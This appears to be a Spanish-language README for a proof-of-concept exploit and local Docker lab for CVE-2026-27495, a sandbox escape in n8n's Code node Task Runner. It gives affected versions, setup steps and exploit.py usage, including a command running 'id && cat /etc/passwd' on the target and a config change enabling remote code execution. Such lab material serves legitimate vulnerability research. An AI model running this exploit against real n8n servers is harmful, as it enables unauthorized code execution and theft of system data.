
Exploit de prueba de concepto y entorno de laboratorio para CVE-2026-27495
Escape de sandbox en el Task Runner de JavaScript de n8n mediante una fuga de objetos del host-realm.
| CVE | CVE-2026-27495 |
| CVSS | 9.4 (Crítico) |
| CWE | CWE-94 — Inyección de código |
| Afectado | n8n < 1.123.22 / 2.0.0–2.9.2 / 2.10.0 |
| Corregido | 1.123.22 / 2.9.3 / 2.10.1 |
| Superficie de ataque | Nodo de código (autenticado, Task Runners habilitados) |
docker compose up -d
Espera ~15s a que n8n se inicie, luego abre http://localhost:5678 y crea una cuenta de propietario (correo: [email protected], contraseña: TestPassword123!).
pip install requests
Probar el escape de sandbox :
python3 exploit.py --probe
RCE — descomenta NODE_FUNCTION_ALLOW_BUILTIN=* en docker-compose.yml y reinicia:
docker compose down && docker compose up -d
python3 exploit.py --cmd "id && cat /etc/passwd"
Configuración inicial (crea la cuenta de propietario automáticamente):
python3 exploit.py --setup --probe
Options:
--url URL n8n base URL (default: http://localhost:5678)
--email EMAIL Login email (default: [email protected])
--password PASSWORD Login password
--cmd CMD OS command to execute (RCE)
--setup Create owner account (fresh instance)
--probe Probe sandbox escape only (no RCE, works with any config)
--proxy PROXY HTTP proxy (e.g. http://127.0.0.1:8080)
Solo para investigación de seguridad autorizada y fines educativos.